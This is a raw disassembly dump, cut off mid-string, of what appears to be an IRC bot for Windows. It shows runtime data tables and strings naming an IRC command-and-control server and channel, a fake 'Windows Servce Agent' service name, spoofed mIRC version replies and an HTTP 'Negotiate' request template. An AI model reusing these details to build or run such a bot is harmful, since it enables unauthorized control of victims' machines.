SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D4A8 sub_426DD8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426DF6 mov ecx, [ebp+8] jmp loc_40D4A8 ; --------------------------------------------------------------------------- locret_426DF6: ; CODE XREF: ___:00426DE8j retn ; --------------------------------------------------------------------------- loc_426DF7: ; DATA XREF: sub_40D07Co mov eax, offset dword_427F50 jmp loc_41C91F ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E0C: ; DATA XREF: ___:00427FACo lea ecx, [ebp-1Ch] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E14: ; DATA XREF: sub_40D21Eo mov eax, offset dword_427F80 jmp loc_41C91F ; --------------------------------------------------------------------------- align 10h loc_426E20: ; DATA XREF: sub_40D78Bo mov eax, offset dword_427FB0 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E32: ; DATA XREF: sub_4264FEo mov eax, offset dword_428010 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E44: ; DATA XREF: sub_426573o mov eax, offset dword_4280A8 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E56: ; DATA XREF: sub_4265D0o mov eax, offset dword_4280CC jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E68: ; DATA XREF: sub_426618o mov eax, offset dword_4280F0 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E7A: ; DATA XREF: sub_42669Ao mov eax, offset dword_428150 jmp loc_41C91F ; --------------------------------------------------------------------------- dd 5Fh dup(0) dd 25C0000h, 25C106Ch, 25D0000h, 25D06E7h, 25E0000h, 25E0A6Eh dd 25E0ADBh, 25E0EE2h, 25F0000h, 2600000h, 26007E5h, 2600C3Bh dd 2610000h, 26107E1h, 2610A50h dword_42703C dd 2610A82h ; DATA XREF: ___:004231D9r dd 2610B4Eh, 2610DEAh, 2610E17h, 2620000h, 2630000h, 2640000h dd 2650000h, 26503B5h, 26508D5h, 77E75CB5h dword_427068 dd 26508EFh ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 2650BA1h, 2660000h, 2660AB7h dword_427078 dd 2670000h ; DATA XREF: sub_40111D+29r ; sub_401ACD+318Br ... dword_42707C dd 267009Ch ; DATA XREF: ___:004015E2r ; sub_410CD5+32r dd 2670230h dword_427084 dd 26702E7h ; DATA XREF: sub_4196BC+B9r dd 267084Ch dword_42708C dd 2670914h ; DATA XREF: sub_410FF8:loc_411089r dword_427090 dd 2670982h ; DATA XREF: ___:loc_4013DCr dd 2670D30h, 2670E4Ch dword_42709C dd 2680000h ; DATA XREF: sub_409B12+2r dd 268016Dh, 2680230h dword_4270A8 dd 26808E8h ; DATA XREF: ___:0040124Dr ; sub_41A4D1+8Cr dword_4270AC dd 2680981h ; DATA XREF: sub_410CD5:loc_410DC1r dd 2690000h, 2690BC3h dword_4270B8 dd 2690C6Fh ; DATA XREF: sub_409B12:loc_40A020r dword_4270BC dd 26A0000h ; DATA XREF: sub_409B12+11r ; sub_416F1A+60r ... dd 26B0000h, 26C0000h, 26C05ECh, 26D0000h, 77F7E300h, 77F7E21Fh dd 26D05E1h, 26D07D6h, 26E0000h, 26E07ABh dword_4270E8 dd 26F0000h ; DATA XREF: sub_410FF8+Br dword_4270EC dd 26F08DDh ; DATA XREF: sub_418293+36r dd 26F0AF0h, 2700000h dword_4270F8 dd 270069Ah ; DATA XREF: sub_410F1F+3Ar ; sub_419C64+79r dword_4270FC dd 2710000h ; DATA XREF: sub_410E26+23r ; sub_419C64+3Br dd 2720000h, 2730000h, 2730C3Eh, 2740000h, 2740831h, 2750000h dd 2760000h, 2770000h, 2770B61h, 2770E90h, 2780000h, 2780144h dd 27807EAh, 2780B3Fh, 2790000h dword_42713C dd 2790285h ; DATA XREF: sub_416F1A+BCr dd 27A0000h dword_427144 dd 27B0000h ; DATA XREF: sub_4170EC+21r ; sub_417275+4Ar dword_427148 dd 27B0A21h ; DATA XREF: sub_4170EC+10r ; sub_417275+40r ... dd 27B0A68h dword_427150 dd 27B0D0Ah ; DATA XREF: sub_417275+56r dd 27C0000h, 27D0000h, 27E0000h, 27E0633h, 27E0B83h, 27F0000h dd 27F0183h, 27F0822h, 2800000h, 2810000h dword_42717C dd 2820000h ; DATA XREF: sub_418B58+13r ; ___:0042324Er ... dword_427180 dd 2830000h ; DATA XREF: sub_418C2A+Fr ; sub_41D834+54r ... dd 2840000h, 28404EFh, 28409E2h, 2840C98h, 2850000h, 2860000h dd 2870000h, 2880000h, 2890000h, 28A0000h, 28A1B25h, 28A1B33h dd 28B0000h, 28B0E6Ah, 28C0000h dword_4271C0 dd 28C0632h ; DATA XREF: sub_41DEA2+240r dword_4271C4 dd 28C07A0h ; DATA XREF: sub_41E976:loc_41E9A7r dd 28C0915h, 28D0000h, 28D066Fh, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB4122h dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412660+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h dd 71AB1746h, 71AB3E5Dh dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE2+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 0 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aCyber db 'CYBER',0 ; DATA XREF: sub_401ACD+347Co ; sub_401ACD+356Co ... align 10h aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401ACD+389Co ; sub_401ACD+38D2o ... align 4 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40D030+2Fr dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40D030+15r dword_427698 dd 0FFFFFFFFh ; DATA XREF: sub_40D07C+16Fr ; sub_40D4B0r ... align 10h dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40D07C+79r dword_4276A8 dd 0 ; DATA XREF: sub_40D21E+4Do ; sub_40D560+5Bo ... flt_4276AC dd 5.0e-1 ; DATA XREF: ___:0040DD33r dbl_4276B0 dq 9.765625e-4 ; DATA XREF: ___:004166B6r ; ___:004166D1r ... dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_417ADD+3E5r dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_417ADD+3C5r dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_417ADD+342r ; sub_417ADD+3A7r dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_417ADD+271r dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_417ADD+24Br ; sub_417ADD+2D5r ... dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_417ADD+E1r dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_417ADD+AEr ; sub_417ADD+138r ... dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_417ADD+93r ; sub_417ADD+308r dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_417ADD+21r dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418684+2Br flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41A4D1+1B0r flt_42770C dd 8.0 ; DATA XREF: sub_41A4D1+1AAr flt_427710 dd 0.0 ; DATA XREF: sub_41A4D1+171r flt_427714 dd 1.0e-3 ; DATA XREF: sub_41A4D1+168r dbl_427718 dq 1.0 ; DATA XREF: sub_41C679+6Cr ; sub_41C7BF+6Cr ... dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o align 4 byte_42775C db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43C544o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_43C540o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43C7BCo dbl_427880 dq 0.0 ; DATA XREF: sub_42135F+8Cr ; sub_42135F+ACr ... dbl_427888 dq 4.195835e6 ; DATA XREF: sub_421874+Fr dbl_427890 dq 3.145727e6 ; DATA XREF: sub_421874+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o align 4 dword_4278C8 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o dd offset loc_42224A align 8 dd offset sub_422228 dd offset sub_422232 dword_4278F0 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o dword_427900 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o dword_427910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o dd offset loc_4225AD align 10h dd offset loc_422599 dd offset loc_42259D dword_427928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o dd offset loc_422603 align 8 dd offset loc_4225EF dd offset loc_4225F3 dword_427940 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o ; sub_423CEC+39o ... dword_427948 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h ; DATA XREF: sub_422ACA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43C98Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o align 10h asc_427C10 db 0Ah ; DATA XREF: sub_4235C9+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_4235C9+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do align 10h dword_427C50 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo align 10h dword_427CF0 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh ; DATA XREF: sub_425F03+5o dd 427E2Ch off_427D0C dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o ; sub_4264FE+2Co ... dd offset sub_4264D5 dd offset sub_4266F6 dd offset dword_427E78 off_427D1C dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao ; sub_426568o ... dd offset sub_4264D5 dd offset loc_426732 dword_427D28 dd 0 ; DATA XREF: sub_4264FE+16o ; sub_4265D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o dd offset dword_427EC4 off_427D48 dd offset sub_42665B ; DATA XREF: sub_426677o ; sub_42669A+37o ... dd offset sub_4264D5 dd offset loc_426714 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o dd offset dword_427F08 off_427D68 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o ; ___:off_43D0B4o ... dd offset dword_427F38 off_427D70 dd offset loc_426813 ; DATA XREF: sub_42682F+8o ; sub_42686C+8o ... dd offset sub_4268CC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o align 10h dword_427D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo dd 3, 19930520h, 2 dup(0) dword_427DB0 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh ; DATA XREF: sub_426988+5o dword_427DC8 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h ; DATA XREF: sub_426C13+5o dd 43D0B4h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DF8 dd offset off_43D0CC ; DATA XREF: ___:00427E10o ; ___:00427E5Co ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DF8 dd offset dword_427DC8+18h dword_427E18 dd 3 dup(0) ; DATA XREF: ___:00427E3Co dd 2, 427E10h, 3 dup(0) dd offset off_43D0CC dd offset dword_427E18+4 off_427E40 dd offset off_43D0EC ; DATA XREF: ___:00427E58o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E40 dd offset off_427DF8 dd offset dword_427DC8+18h dd 0 db 0 ; DATA XREF: ___:00427E88o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427E58h dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427D18o dd offset off_43D0EC dd offset unk_427E68 off_427E8C dd offset off_43D10C ; DATA XREF: ___:00427EA4o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E8C dd offset off_427DF8 dd offset dword_427DC8+18h dword_427EB0 dd 3 dup(0) ; DATA XREF: ___:00427ED4o dd 3, 427EA4h dword_427EC4 dd 3 dup(0) ; DATA XREF: ___:00427D44o dd offset off_43D10C dd offset dword_427EB0+4 off_427ED8 dd offset off_43D130 ; DATA XREF: ___:00427EF0o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427ED8 dd 0 db 0 ; DATA XREF: ___:00427F18o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427EF0h dword_427F08 dd 3 dup(0) ; DATA XREF: ___:00427D64o dd offset off_43D130 dd offset unk_427EF8 dd offset dword_427DC8+18h dword_427F20 dd 4 dup(0) ; DATA XREF: ___:00427F48o dd 1, 427F1Ch dword_427F38 dd 3 dup(0) ; DATA XREF: ___:00427D6Co dd offset off_43D0B4 dd offset dword_427F20+8 align 10h dword_427F50 dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o dd 0FFFFFFFFh, 426DE0h, 0 dd offset sub_426DD8 dword_427F80 dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF: ___:loc_426E14o dd 0FFFFFFFFh, 426E04h, 0 dd offset loc_426E0C dword_427FB0 dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3 dup(0) ; DATA XREF: ___:loc_426E20o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FF8h, 4 dup(0) ; --------------------------------------------------------------------------- retf 40D7h ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 426E2Ah dword_428010 dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF: ___:loc_426E32o dd offset off_43D0B4 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42686Ch, 0 dd offset off_43D0CC dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426618h, 0 dd offset off_43D0EC align 10h dd 0FFFFFFFFh, 0 dword_428078 dd 1Ch, 426682h, 3, 428064h, 428048h, 42802Ch ; DATA XREF: ___:0042809Co dword_428090 dd 0 ; DATA XREF: sub_426573+2Eo ; sub_4266F6+4Bo dd offset sub_426568 dd 0 dd offset dword_428078+8 dd 0FFFFFFFFh, 426E3Ch dword_4280A8 dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF: ___:loc_426E44o dd 0FFFFFFFFh, 426E4Eh dword_4280CC dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF: ___:loc_426E56o dd 0FFFFFFFFh, 426E60h dword_4280F0 dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF: ___:loc_426E68o dd offset off_43D10C align 8 dd 0FFFFFFFFh, 0 dword_428120 dd 1Ch, 4266DEh, 3, 42810Ch, 428048h, 42802Ch ; DATA XREF: ___:00428144o dword_428138 dd 0 ; DATA XREF: sub_42669A+2Eo ; sub_4266F6+2Do dd offset sub_426677 dd 0 dd offset dword_428120+8 dd 0FFFFFFFFh, 426E72h dword_428150 dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao dword_42816C dd 2, 428048h, 42802Ch ; DATA XREF: ___:00428184o dword_428178 dd 0 ; DATA XREF: sub_4266F6+Fo dd offset sub_4264BA dd 0 dd offset dword_42816C dd 5 dup(77699AB2h), 5 dup(32A53F30h), 5 dup(7E483FF6h) dd 7Ah dup(0) dd 7E483FF6h, 0 dd 77699AB2h, 15h dup(0) dd 32A53F30h, 2FCh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o dd offset loc_401205 dd offset sub_40D878 dd offset sub_40D89A dd offset dword_40E504+1CFh dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo dword_429018 dd 0 ; DATA XREF: ___:0041B794o dd offset sub_41D052 dd offset sub_42026D dd offset sub_423936 dd offset word_424752 dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o dd offset sub_4239DB dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o dd offset byte_424763 dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Br dword_429078 dd 45h ; DATA XREF: sub_401ACD+2088r ; sub_40BACD+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C43r ; sub_40BACD:loc_40BEBEr dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DCFr word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Er align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_418359+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r ; sub_401ACD+B4Br ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40ACB5+3Ar ; sub_40ACB5+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aDark db 'Dark',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_4044A0o ... align 4 aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404945o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDBo ; sub_401ACD+7EAAo align 10h aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 10h aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_429108 db 6Dh ; DATA XREF: ___:00401364o ; ___:00401388w ... db 73h, 6Eh, 6Dh dd 7261676Eh, 6578652Eh, 0 dword_429118 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o aWindowsServceA db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo align 4 unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F26o align 4 aF db '#f',0 ; DATA XREF: sub_401ACD+1D45o ; sub_401ACD+303Fo ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A2o align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C4o ; sub_401ACD+4216o align 10h off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FBo ; "*@admin.com" off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r ; sub_401ACD+7E4Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled 